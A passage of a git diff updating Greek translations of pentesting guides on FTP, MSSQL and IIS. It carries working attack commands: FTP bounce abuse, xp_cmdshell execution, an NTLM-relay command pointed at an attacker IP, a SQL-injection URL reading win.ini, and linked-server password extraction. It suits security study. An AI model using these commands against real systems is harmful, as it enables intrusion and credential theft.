"_author_", "_publisher_" και "_name_" -Παρατηρήστε πώς το **νέο ευρετήριο εμφανίζεται τώρα στη λίστα**: +Παρατηρήστε πώς ο **νέος δείκτης εμφανίζεται τώρα στη λίστα**: ![](<../images/image (130).png>) diff --git a/src/network-services-pentesting/pentesting-ftp/README.md b/src/network-services-pentesting/pentesting-ftp/README.md index d37a60668..34adc6a51 100644 --- a/src/network-services-pentesting/pentesting-ftp/README.md +++ b/src/network-services-pentesting/pentesting-ftp/README.md @@ -5,7 +5,7 @@ ## Basic Information Το **File Transfer Protocol (FTP)** χρησιμεύει ως πρότυπο πρωτόκολλο για τη μεταφορά αρχείων μέσω ενός υπολογιστικού δικτύου μεταξύ ενός διακομιστή και ενός πελάτη.\ -Είναι ένα **plain-text** πρωτόκολλο που χρησιμοποιεί ως **χαρακτήρα νέας γραμμής `0x0d 0x0a`** οπότε μερικές φορές χρειάζεται να **συνδεθείτε χρησιμοποιώντας `telnet`** ή **`nc -C`**. +Είναι ένα **plain-text** πρωτόκολλο που χρησιμοποιεί ως **new line character `0x0d 0x0a`** οπότε μερικές φορές χρειάζεται να **connect using `telnet`** ή **`nc -C`**. **Default Port:** 21 ``` @@ -14,11 +14,11 @@ PORT STATE SERVICE ``` ### Συνδέσεις Ενεργές & Παθητικές -Στο **Active FTP**, ο FTP **πελάτης** πρώτα **ξεκινά** τη σύνδεση ελέγχου από την θύρα N του στην θύρα εντολών του FTP Server – θύρα 21. Ο **πελάτης** στη συνέχεια **ακούει** στη θύρα **N+1** και στέλνει τη θύρα N+1 στον FTP Server. Ο FTP **Server** τότε **ξεκινά** τη σύνδεση δεδομένων, από **την θύρα M του στην θύρα N+1** του FTP Client. +Στο **Active FTP**, ο FTP **πελάτης** πρώτα **ξεκινά** τη σύνδεση ελέγχου από την θύρα N του προς την θύρα εντολών του FTP Server – θύρα 21. Ο **πελάτης** στη συνέχεια **ακούει** στη θύρα **N+1** και στέλνει τη θύρα N+1 στον FTP Server. Ο FTP **Server** τότε **ξεκινά** τη σύνδεση δεδομένων, από **την θύρα M του προς την θύρα N+1** του FTP Client. Αλλά, αν ο FTP Client έχει ρυθμισμένο ένα τείχος προστασίας που ελέγχει τις εισερχόμενες συνδέσεις δεδομένων από το εξωτερικό, τότε το active FTP μπορεί να είναι πρόβλημα. Και, μια εφικτή λύση γι' αυτό είναι το Passive FTP. -Στο **Passive FTP**, ο πελάτης ξεκινά τη σύνδεση ελέγχου από την θύρα N του στην θύρα 21 του FTP Server. Μετά από αυτό, ο πελάτης εκδίδει μια **εντολή passv**. Ο server τότε στέλνει στον πελάτη έναν από τους αριθμούς θύρας του M. Και ο **πελάτης** **ξεκινά** τη σύνδεση δεδομένων από **την θύρα P του στην θύρα M** του FTP Server. +Στο **Passive FTP**, ο πελάτης ξεκινά τη σύνδεση ελέγχου από την θύρα N του προς την θύρα 21 του FTP Server. Μετά από αυτό, ο πελάτης εκδίδει μια **εντολή passv**. Ο server τότε στέλνει στον πελάτη έναν από τους αριθμούς θύρας του M. Και ο **πελάτης** **ξεκινά** τη σύνδεση δεδομένων από **την θύρα P του προς την θύρα M** του FTP Server. Source: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/) @@ -88,8 +88,8 @@ STAT ### Ανώνυμη σύνδεση _anonymous : anonymous_\ -\&#xNAN;_anonymous :_\ -\&#xNAN;_ftp : ftp_ +\_anonymous :_\ +\_ftp : ftp_ ```bash ftp >anonymous @@ -115,14 +115,14 @@ nmap --script ftp-* -p 21 ```bash ftp://anonymous:anonymous@10.10.10.98 ``` -Σημειώστε ότι αν μια **εφαρμογή ιστού** στέλνει δεδομένα που ελέγχονται από έναν χρήστη **άμεσα σε έναν FTP server**, μπορείτε να στείλετε διπλό URL encode `%0d%0a` (σε διπλό URL encode αυτό είναι `%250d%250a`) bytes και να κάνετε τον **FTP server να εκτελεί αυθαίρετες ενέργειες**. Μία από αυτές τις πιθανές αυθαίρετες ενέργειες είναι να κατεβάσετε περιεχόμενο από έναν server που ελέγχεται από χρήστη, να εκτελέσετε σάρωση θυρών ή να προσπαθήσετε να επικοινωνήσετε με άλλες υπηρεσίες που βασίζονται σε απλό κείμενο (όπως το http). +Σημειώστε ότι αν μια **web application** στέλνει δεδομένα που ελέγχονται από έναν χρήστη **άμεσα σε έναν FTP server** μπορείτε να στείλετε διπλό URL encode `%0d%0a` (σε διπλό URL encode αυτό είναι `%250d%250a`) bytes και να κάνετε τον **FTP server να εκτελεί αυθαίρετες ενέργειες**. Μία από αυτές τις πιθανές αυθαίρετες ενέργειες είναι να κατεβάσετε περιεχόμενο από έναν server που ελέγχεται από χρήστη, να εκτελέσετε σάρωση θυρών ή να προσπαθήσετε να επικοινωνήσετε με άλλες υπηρεσίες που βασίζονται σε απλό κείμενο (όπως το http). -## Κατεβάστε όλα τα αρχεία από τον FTP +## Κατεβάστε όλα τα αρχεία από FTP ```bash wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all ``` -Αν το όνομα χρήστη/κωδικός πρόσβασης σας έχει ειδικούς χαρακτήρες, η [παρακάτω εντολή](https://stackoverflow.com/a/113900/13647948) μπορεί να χρησιμοποιηθεί: +Αν το όνομα χρήστη/κωδικός σας έχει ειδικούς χαρακτήρες, η [παρακάτω εντολή](https://stackoverflow.com/a/113900/13647948) μπορεί να χρησιμοποιηθεί: ```bash wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ ``` @@ -131,18 +131,18 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ - **`USER username`** - **`PASS password`** - **`HELP`** Ο διακομιστής υποδεικνύει ποιες εντολές υποστηρίζονται -- **`PORT 127,0,0,1,0,80`** Αυτό θα υποδείξει στον διακομιστή FTP να δημιουργήσει μια σύνδεση με την IP 127.0.0.1 στην θύρα 80 (_πρέπει να βάλετε τον 5ο χαρακτήρα ως "0" και τον 6ο ως την θύρα σε δεκαδικό ή να χρησιμοποιήσετε τον 5ο και 6ο για να εκφράσετε την θύρα σε δεκαεξαδικό_). -- **`EPRT |2|127.0.0.1|80|`** Αυτό θα υποδείξει στον διακομιστή FTP να δημιουργήσει μια σύνδεση TCP (_υποδεικνύεται από το "2"_) με την IP 127.0.0.1 στην θύρα 80. Αυτή η εντολή **υποστηρίζει IPv6**. +- **`PORT 127,0,0,1,0,80`** Αυτό θα υποδείξει στον διακομιστή FTP να δημιουργήσει μια σύνδεση με την IP 127.0.0.1 στην θύρα 80 (_πρέπει να βάλετε τον 5ο χαρακτήρα ως "0" και τον 6ο ως την θύρα σε δεκαδικό ή να χρησιμοποιήσετε τον 5ο και 6ο για να εκφράσετε την θύρα σε εξάδικο_). +- **`EPRT |2|127.0.0.1|80|`** Αυτό θα υποδείξει στον διακομιστή FTP να δημιουργήσει μια TCP σύνδεση (_υποδεικνύεται από το "2"_) με την IP 127.0.0.1 στην θύρα 80. Αυτή η εντολή **υποστηρίζει IPv6**. - **`LIST`** Αυτό θα στείλει τη λίστα των αρχείων στον τρέχοντα φάκελο - **`LIST -R`** Λίστα αναδρομικά (αν επιτρέπεται από τον διακομιστή) - **`APPE /path/something.txt`** Αυτό θα υποδείξει στον FTP να αποθηκεύσει τα δεδομένα που λαμβάνονται από μια **παθητική** σύνδεση ή από μια **PORT/EPRT** σύνδεση σε ένα αρχείο. Αν το όνομα αρχείου υπάρχει, θα προσθέσει τα δεδομένα. - **`STOR /path/something.txt`** Όπως το `APPE` αλλά θα αντικαταστήσει τα αρχεία - **`STOU /path/something.txt`** Όπως το `APPE`, αλλά αν υπάρχει δεν θα κάνει τίποτα. - **`RETR /path/to/file`** Πρέπει να έχει δημιουργηθεί μια παθητική ή μια σύνδεση port. Στη συνέχεια, ο διακομιστής FTP θα στείλει το υποδεικνυόμενο αρχείο μέσω αυτής της σύνδεσης -- **`REST 6`** Αυτό θα υποδείξει στον διακομιστή ότι την επόμενη φορά που θα στείλει κάτι χρησιμοποιώντας το `RETR` θα πρέπει να ξεκινήσει από το 6ο byte. -- **`TYPE i`** Ρυθμίστε τη μεταφορά σε δυαδική +- **`REST 6`** Αυτό θα υποδείξει στον διακομιστή ότι την επόμενη φορά που θα στείλει κάτι χρησιμοποιώντας το `RETR` θα πρέπει να ξεκινήσει στο 6ο byte. +- **`TYPE i`** Ρύθμιση μεταφοράς σε δυαδικό - **`PASV`** Αυτό θα ανοίξει μια παθητική σύνδεση και θα υποδείξει στον χρήστη πού μπορεί να συνδεθεί -- **`PUT /tmp/file.txt`** Ανεβάστε το υποδεικνυόμενο αρχείο στον FTP +- **`PUT /tmp/file.txt`** Μεταφόρτωση του υποδεικνυόμενου αρχείου στον FTP ![](<../../images/image (386).png>) @@ -152,10 +152,10 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ [**Μάθετε εδώ πώς να καταχραστείτε έναν διακομιστή FTP για να σαρώσετε θύρες.**](ftp-bounce-attack.md) -Μπορείτε επίσης να καταχραστείτε αυτή τη συμπεριφορά για να κάνετε έναν διακομιστή FTP να αλληλεπιδρά με άλλα πρωτόκολλα. Μπορείτε να **ανεβάσετε ένα αρχείο που περιέχει ένα HTTP αίτημα** και να κάνετε τον ευάλωτο διακομιστή FTP **να το στείλει σε έναν αυθαίρετο HTTP διακομιστή** (_ίσως για να προσθέσετε έναν νέο διαχειριστή χρήστη;_) ή ακόμα και να ανεβάσετε ένα αίτημα FTP και να κάνετε τον ευάλωτο διακομιστή FTP να κατεβάσει ένα αρχείο από έναν διαφορετικό διακομιστή FTP.\ +Μπορείτε επίσης να καταχραστείτε αυτή τη συμπεριφορά για να κάνετε έναν διακομιστή FTP να αλληλεπιδρά με άλλα πρωτόκολλα. Μπορείτε να **μεταφορτώσετε ένα αρχείο που περιέχει ένα HTTP αίτημα** και να κάνετε τον ευάλωτο διακομιστή FTP **να το στείλει σε έναν αυθαίρετο HTTP διακομιστή** (_ίσως για να προσθέσετε έναν νέο διαχειριστή;_) ή ακόμη και να ανεβάσετε ένα αίτημα FTP και να κάνετε τον ευάλωτο διακομιστή FTP να κατεβάσει ένα αρχείο από έναν διαφορετικό διακομιστή FTP.\ Η θεωρία είναι απλή: -1. **Ανεβάστε το αίτημα (μέσα σε ένα αρχείο κειμένου) στον ευάλωτο διακομιστή.** Θυμηθείτε ότι αν θέλετε να μιλήσετε με έναν άλλο HTTP ή FTP διακομιστή πρέπει να αλλάξετε γραμμές με `0x0d 0x0a` +1. **Μεταφορτώστε το αίτημα (μέσα σε ένα αρχείο κειμένου) στον ευάλωτο διακομιστή.** Θυμηθείτε ότι αν θέλετε να μιλήσετε με έναν άλλο HTTP ή FTP διακομιστή πρέπει να αλλάξετε γραμμές με `0x0d 0x0a` 2. **Χρησιμοποιήστε `REST X` για να αποφύγετε την αποστολή των χαρακτήρων που δεν θέλετε να στείλετε** (ίσως για να ανεβάσετε το αίτημα μέσα στο αρχείο έπρεπε να βάλετε κάποια κεφαλίδα εικόνας στην αρχή) 3. **Χρησιμοποιήστε `PORT` για να συνδεθείτε στον αυθαίρετο διακομιστή και υπηρεσία** 4. **Χρησιμοποιήστε `RETR` για να στείλετε το αποθηκευμένο αίτημα στον διακομιστή.** @@ -186,7 +186,7 @@ vsftpd.conf ``` ### Post-Exploitation -Η προεπιλεγμένη ρύθμιση του vsFTPd μπορεί να βρεθεί στο `/etc/vsftpd.conf`. Εδώ, μπορείτε να βρείτε μερικές επικίνδυνες ρυθμίσεις: +Η προεπιλεγμένη ρύθμιση του vsFTPd μπορεί να βρεθεί στο `/etc/vsftpd.conf`. Εδώ, μπορείτε να βρείτε κάποιες επικίνδυνες ρυθμίσεις: - `anonymous_enable=YES` - `anon_upload_enable=YES` diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index f3dc28f7e..5b0901dc6 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -6,7 +6,7 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): -> **Microsoft SQL Server** είναι ένα **συστήμα διαχείρισης σχεσιακών βάσεων δεδομένων** που αναπτύχθηκε από τη Microsoft. Ως διακομιστής βάσεων δεδομένων, είναι ένα λογισμικό με κύρια λειτουργία την αποθήκευση και ανάκτηση δεδομένων όπως ζητείται από άλλες εφαρμογές λογισμικού—οι οποίες μπορεί να εκτελούνται είτε στον ίδιο υπολογιστή είτε σε άλλο υπολογιστή μέσω ενός δικτύου (συμπεριλαμβανομένου του Διαδικτύου).\\ +> **Microsoft SQL Server** είναι ένα **συστήμα διαχείρισης σχεσιακών βάσεων δεδομένων** που αναπτύχθηκε από τη Microsoft. Ως διακομιστής βάσης δεδομένων, είναι ένα προϊόν λογισμικού με κύρια λειτουργία την αποθήκευση και ανάκτηση δεδομένων όπως ζητείται από άλλες εφαρμογές λογισμικού—οι οποίες μπορεί να εκτελούνται είτε στον ίδιο υπολογιστή είτε σε άλλο υπολογιστή μέσω ενός δικτύου (συμπεριλαμβανομένου του Διαδικτύου). **Default port:** 1433 ``` @@ -16,8 +16,8 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): - **master Database**: Αυτή η βάση δεδομένων είναι κρίσιμη καθώς καταγράφει όλες τις λεπτομέρειες σε επίπεδο συστήματος για μια εγκατάσταση SQL Server. - **msdb Database**: Ο SQL Server Agent χρησιμοποιεί αυτή τη βάση δεδομένων για να διαχειρίζεται τον προγραμματισμό για ειδοποιήσεις και εργασίες. -- **model Database**: Λειτουργεί ως σχέδιο για κάθε νέα βάση δεδομένων στην εγκατάσταση SQL Server, όπου οποιεσδήποτε τροποποιήσεις όπως μέγεθος, ταξινόμηση, μοντέλο αποκατάστασης και άλλα αντικατοπτρίζονται σε νέες βάσεις δεδομένων που δημιουργούνται. -- **Resource Database**: Μια βάση δεδομένων μόνο για ανάγνωση που φιλοξενεί αντικείμενα συστήματος που έρχονται με το SQL Server. Αυτά τα αντικείμενα, αν και αποθηκεύονται φυσικά στη βάση δεδομένων Resource, παρουσιάζονται λογικά στο σχήμα sys κάθε βάσης δεδομένων. +- **model Database**: Λειτουργεί ως σχέδιο για κάθε νέα βάση δεδομένων στην εγκατάσταση SQL Server, όπου οποιεσδήποτε τροποποιήσεις όπως μέγεθος, ταξινόμηση, μοντέλο αποκατάστασης και άλλα αντικατοπτρίζονται σε νέες δημιουργούμενες βάσεις δεδομένων. +- **Resource Database**: Μια βάση δεδομένων μόνο για ανάγνωση που φιλοξενεί αντικείμενα συστήματος που συνοδεύουν το SQL Server. Αυτά τα αντικείμενα, αν και αποθηκεύονται φυσικά στη βάση δεδομένων Resource, παρουσιάζονται λογικά στο σχήμα sys κάθε βάσης δεδομένων. - **tempdb Database**: Λειτουργεί ως προσωρινός χώρος αποθήκευσης για παροδικά αντικείμενα ή ενδιάμεσα σύνολα αποτελεσμάτων. ## Απαρίθμηση @@ -102,7 +102,7 @@ sqsh -S -U .\\ -P -D 1> select 1; 2> go ``` -#### Κοινή Καταμέτρηση +#### Κοινή Απαρίθμηση ```sql # Get version select @@version; @@ -157,9 +157,9 @@ SELECT * FROM sysusers 1. **Securable:** Ορίζεται ως οι πόροι που διαχειρίζεται ο SQL Server για τον έλεγχο πρόσβασης. Αυτοί κατηγοριοποιούνται σε: - **Server** – Παραδείγματα περιλαμβάνουν βάσεις δεδομένων, συνδέσεις, σημεία πρόσβασης, ομάδες διαθεσιμότητας και ρόλους διακομιστή. -- **Database** – Παραδείγματα καλύπτουν ρόλους βάσης δεδομένων, ρόλους εφαρμογής, σχήματα, πιστοποιητικά, καταλόγους πλήρους κειμένου και χρήστες. -- **Schema** – Περιλαμβάνει πίνακες, προβολές, διαδικασίες, συναρτήσεις, συνώνυμα, κ.λπ. -2. **Permission:** Συνδέεται με τα securables του SQL Server, οι άδειες όπως ALTER, CONTROL και CREATE μπορούν να παραχωρηθούν σε έναν κύριο. Η διαχείριση των αδειών πραγματοποιείται σε δύο επίπεδα: +- **Database** – Παραδείγματα καλύπτουν ρόλους βάσης δεδομένων, ρόλους εφαρμογών, σχήματα, πιστοποιητικά, καταλόγους πλήρους κειμένου και χρήστες. +- **Schema** – Περιλαμβάνει πίνακες, προβολές, διαδικασίες, συναρτήσεις, συνώνυμα κ.λπ. +2. **Permission:** Συνδέεται με τα securables του SQL Server, οι άδειες όπως ALTER, CONTROL και CREATE μπορούν να παραχωρηθούν σε έναν κύριο. Η διαχείριση των αδειών συμβαίνει σε δύο επίπεδα: - **Server Level** χρησιμοποιώντας συνδέσεις - **Database Level** χρησιμοποιώντας χρήστες 3. **Principal:** Αυτός ο όρος αναφέρεται στην οντότητα που έχει παραχωρηθεί άδεια σε ένα securable. Οι κύριοι περιλαμβάνουν κυρίως συνδέσεις και χρήστες βάσης δεδομένων. Ο έλεγχος της πρόσβασης στα securables ασκείται μέσω της παραχώρησης ή άρνησης αδειών ή με την ένταξη συνδέσεων και χρηστών σε ρόλους που είναι εξοπλισμένοι με δικαιώματα πρόσβασης. @@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell' ### Execute OS Commands > [!CAUTION] -> Σημειώστε ότι για να μπορείτε να εκτελείτε εντολές, δεν είναι μόνο απαραίτητο να έχετε **`xp_cmdshell`** **ενεργοποιημένο**, αλλά και να έχετε την **άδεια EXECUTE στη διαδικασία αποθήκευσης `xp_cmdshell`**. Μπορείτε να δείτε ποιος (εκτός από τους sysadmins) μπορεί να χρησιμοποιήσει **`xp_cmdshell`** με: +> Σημειώστε ότι για να μπορέσετε να εκτελέσετε εντολές, δεν είναι μόνο απαραίτητο να έχετε **`xp_cmdshell`** **ενεργοποιημένο**, αλλά επίσης να έχετε την **άδεια EXECUTE στη διαδικασία αποθήκευσης `xp_cmdshell`**. Μπορείτε να δείτε ποιος (εκτός από τους sysadmins) μπορεί να χρησιμοποιήσει **`xp_cmdshell`** με: > > ```sql > Use master @@ -260,7 +260,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2- mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250 ``` > [!WARNING] -> Μπορείτε να ελέγξετε ποιος (εκτός από τους sysadmins) έχει άδειες για να εκτελεί αυτές τις λειτουργίες MSSQL με: +> Μπορείτε να ελέγξετε ποιος (εκτός από τους διαχειριστές συστήματος) έχει άδειες για να εκτελεί αυτές τις λειτουργίες MSSQL με: > > ```sql > Use master; @@ -276,7 +276,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25 ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {{#endref}} -### Κατάχρηση αξιόπιστων Συνδέσμων MSSQL +### Κατάχρηση Εμπιστευμένων Συνδέσεων MSSQL [**Διαβάστε αυτή την ανάρτηση**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **για να βρείτε περισσότερες πληροφορίες σχετικά με το πώς να καταχραστείτε αυτή τη δυνατότητα:** @@ -306,7 +306,7 @@ EXECUTE sp_OADestroy @OLE ``` ### **Διαβάστε αρχείο με** OPENROWSET -Από προεπιλογή, `MSSQL` επιτρέπει την **ανάγνωση αρχείων σε οποιοδήποτε αρχείο στο λειτουργικό σύστημα στο οποίο ο λογαριασμός έχει δικαίωμα ανάγνωσης**. Μπορούμε να χρησιμοποιήσουμε την παρακάτω SQL ερώτηση: +Από προεπιλογή, `MSSQL` επιτρέπει την ανάγνωση αρχείων **σε οποιοδήποτε αρχείο στο λειτουργικό σύστημα στο οποίο ο λογαριασμός έχει δικαίωμα ανάγνωσης**. Μπορούμε να χρησιμοποιήσουμε την παρακάτω SQL ερώτηση: ```sql SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents ``` @@ -315,13 +315,13 @@ SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_C # Check if you have it SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS'; ``` -#### Σφάλμα-βασισμένο διάνυσμα για SQLi: +#### Vector σφάλματος για SQLi: ``` https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))-- ``` ### **RCE/Ανάγνωση αρχείων εκτελώντας σενάρια (Python και R)** -Το MSSQL θα μπορούσε να σας επιτρέψει να εκτελέσετε **σενάρια σε Python και/ή R**. Αυτός ο κώδικας θα εκτελείται από έναν **διαφορετικό χρήστη** από αυτόν που χρησιμοποιεί το **xp_cmdshell** για να εκτελέσει εντολές. +MSSQL θα μπορούσε να σας επιτρέψει να εκτελέσετε **σενάρια σε Python και/ή R**. Αυτός ο κώδικας θα εκτελείται από **διαφορετικό χρήστη** από αυτόν που χρησιμοποιεί **xp_cmdshell** για να εκτελέσει εντολές. Παράδειγμα προσπαθώντας να εκτελέσετε ένα **'R'** _"Hellow World!"_ **δεν λειτουργεί**: @@ -343,9 +343,9 @@ GO ``` ### Ανάγνωση Μητρώου -Microsoft SQL Server παρέχει **πολλές επεκτάσεις αποθηκευμένων διαδικασιών** που σας επιτρέπουν να αλληλεπιδράτε όχι μόνο με το δίκτυο αλλά και με το σύστημα αρχείων και ακόμη και το [**Μητρώο των Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:** +Microsoft SQL Server παρέχει **πολλές επεκτεταμένες αποθηκευμένες διαδικασίες** που σας επιτρέπουν να αλληλεπιδράτε όχι μόνο με το δίκτυο αλλά και με το σύστημα αρχείων και ακόμη και το [**Μητρώο των Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:** -| **Κανονικό** | **Ευαισθησία σε Instance** | +| **Κανονική** | **Ευαισθησία σε Instance** | | --------------------------- | ------------------------------------ | | sys.xp_regread | sys.xp_instance_regread | | sys.xp_regenumvalues | sys.xp_instance_regenumvalues | @@ -366,7 +366,7 @@ Use master; EXEC sp_helprotect 'xp_regread'; EXEC sp_helprotect 'xp_regwrite'; ``` -Για **περισσότερα παραδείγματα** ελέγξτε την [**πρωτότυπη πηγή**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/). +Για **περισσότερα παραδείγματα** δείτε την [**αρχική πηγή**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/). ### RCE με MSSQL User Defined Function - SQLHttp @@ -505,7 +505,7 @@ enum_links use_link [NAME] ``` > [!NOTE] -> Αν μπορείτε να προσποιηθείτε έναν χρήστη, ακόμα κι αν δεν είναι sysadmin, θα πρέπει να ελέγξετε **αν ο χρήστης έχει πρόσβαση** σε άλλες **βάσεις δεδομένων** ή συνδεδεμένους διακομιστές. +> Αν μπορείτε να προσποιηθείτε έναν χρήστη, ακόμη και αν δεν είναι sysadmin, θα πρέπει να ελέγξετε **αν ο χρήστης έχει πρόσβαση** σε άλλες **βάσεις δεδομένων** ή συνδεδεμένους διακομιστές. > > Σημειώστε ότι μόλις γίνετε sysadmin μπορείτε να προσποιηθείτε οποιονδήποτε άλλο: ```sql @@ -535,17 +535,17 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse Ένας επιτιθέμενος μπορεί να εξάγει τους κωδικούς πρόσβασης των SQL Server Linked Servers από τις SQL Instances και να τους αποκτήσει σε καθαρό κείμενο, παρέχοντας στον επιτιθέμενο κωδικούς πρόσβασης που μπορούν να χρησιμοποιηθούν για να αποκτήσουν μεγαλύτερη πρόσβαση στον στόχο. Το σενάριο για την εξαγωγή και αποκρυπτογράφηση των κωδικών πρόσβασης που αποθηκεύονται για τους Linked Servers μπορεί να βρεθεί [εδώ](https://www.richardswinbank.net/admin/extract_linked_server_passwords) -Ορισμένες απαιτήσεις και ρυθμίσεις πρέπει να γίνουν προκειμένου να λειτουργήσει αυτή η εκμετάλλευση. Πρώτα απ' όλα, πρέπει να έχετε δικαιώματα Διαχειριστή στη μηχανή ή τη δυνατότητα διαχείρισης των ρυθμίσεων του SQL Server. +Ορισμένες απαιτήσεις και ρυθμίσεις πρέπει να γίνουν ώστε να λειτουργήσει αυτή η εκμετάλλευση. Πρώτα απ' όλα, πρέπει να έχετε δικαιώματα Διαχειριστή στη μηχανή, ή τη δυνατότητα να διαχειριστείτε τις ρυθμίσεις του SQL Server. Αφού επιβεβαιώσετε τα δικαιώματά σας, πρέπει να ρυθμίσετε τρία πράγματα, τα οποία είναι τα εξής: 1. Ενεργοποιήστε το TCP/IP στις SQL Server instances; -2. Προσθέστε μια παράμετρο εκκίνησης, στην προκειμένη περίπτωση, θα προστεθεί μια σημαία παρακολούθησης, η οποία είναι -T7806. +2. Προσθέστε μια παράμετρο εκκίνησης, σε αυτή την περίπτωση, θα προστεθεί μια σημαία παρακολούθησης, η οποία είναι -T7806. 3. Ενεργοποιήστε τη σύνδεση απομακρυσμένου διαχειριστή. Για να αυτοματοποιήσετε αυτές τις ρυθμίσεις, [αυτό το αποθετήριο](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) έχει τα απαραίτητα σενάρια. Εκτός από το ότι έχει ένα σενάριο powershell για κάθε βήμα της ρύθμισης, το αποθετήριο έχει επίσης ένα πλήρες σενάριο που συνδυάζει τα σενάρια ρύθμισης και την εξαγωγή και αποκρυπτογράφηση των κωδικών πρόσβασης. -Για περισσότερες πληροφορίες, ανατρέξτε στους παρακάτω συνδέσμους σχετικά με αυτήν την επίθεση: [Αποκρυπτογράφηση Κωδικών Πρόσβασης MSSQL Database Link Server](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) +Για περισσότερες πληροφορίες, ανατρέξτε στους παρακάτω συνδέσμους σχετικά με αυτή την επίθεση: [Αποκρυπτογράφηση Κωδικών Πρόσβασης MSSQL Database Link Server](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) [Αντιμετώπιση προβλημάτων της Σύνδεσης Αφιερωμένου Διαχειριστή SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) diff --git a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md index 1ed0704d3..aa80a0841 100644 --- a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md +++ b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md @@ -59,9 +59,9 @@ iisfinal.txt Ελέγξτε την πλήρη ανάλυση στο: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html) > [!NOTE] -> Ως σύνοψη, υπάρχουν αρκετά αρχεία web.config μέσα στους φακέλους της εφαρμογής με αναφορές σε αρχεία "**assemblyIdentity**" και "**namespaces**". Με αυτές τις πληροφορίες είναι δυνατόν να γνωρίζετε **πού βρίσκονται τα εκτελέσιμα** και να τα κατεβάσετε.\ +> Ως περίληψη, υπάρχουν αρκετά αρχεία web.config μέσα στους φακέλους της εφαρμογής με αναφορές σε αρχεία "**assemblyIdentity**" και "**namespaces**". Με αυτές τις πληροφορίες είναι δυνατόν να γνωρίζετε **πού βρίσκονται τα εκτελέσιμα** και να τα κατεβάσετε.\ > Από τα **κατεβασμένα Dlls** είναι επίσης δυνατόν να βρείτε **νέα namespaces** όπου θα πρέπει να προσπαθήσετε να αποκτήσετε πρόσβαση και να αποκτήσετε το αρχείο web.config προκειμένου να βρείτε νέα namespaces και assemblyIdentity.\ -> Επίσης, τα αρχεία **connectionstrings.config** και **global.asax** μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες.\\ +> Επίσης, τα αρχεία **connectionstrings.config** και **global.asax** μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες. Στις **εφαρμογές .Net MVC**, το αρχείο **web.config** παίζει κρίσιμο ρόλο καθορίζοντας κάθε δυαδικό αρχείο που εξαρτάται η εφαρμογή μέσω των XML ετικετών **"assemblyIdentity"**. @@ -77,14 +77,14 @@ Host: example-mvc-application.minded - **EntityFramework** έκδοση - **AppSettings** για ιστοσελίδες, έλεγχο πελατών και JavaScript - **System.web** ρυθμίσεις για αυθεντικοποίηση και χρόνο εκτέλεσης -- **System.webServer** ρυθμίσεις μονάδων +- **System.webServer** ρυθμίσεις modules - **Runtime** δεσμεύσεις assembly για πολλές βιβλιοθήκες όπως **Microsoft.Owin**, **Newtonsoft.Json**, και **System.Web.Mvc** Αυτές οι ρυθμίσεις υποδεικνύουν ότι ορισμένα αρχεία, όπως το **/bin/WebGrease.dll**, βρίσκονται μέσα στον φάκελο /bin της εφαρμογής. -### **Αρχεία Ρίζας Διευθύνσου** +### **Αρχεία Ρίζας Διευθύνσεων** -Αρχεία που βρίσκονται στη ρίζα διεύθυνση, όπως το **/global.asax** και το **/connectionstrings.config** (το οποίο περιέχει ευαίσθητους κωδικούς πρόσβασης), είναι απαραίτητα για τη ρύθμιση και τη λειτουργία της εφαρμογής. +Αρχεία που βρίσκονται στον φάκελο ρίζας, όπως το **/global.asax** και το **/connectionstrings.config** (το οποίο περιέχει ευαίσθητους κωδικούς πρόσβασης), είναι απαραίτητα για τη ρύθμιση και τη λειτουργία της εφαρμογής. ### **Namespaces 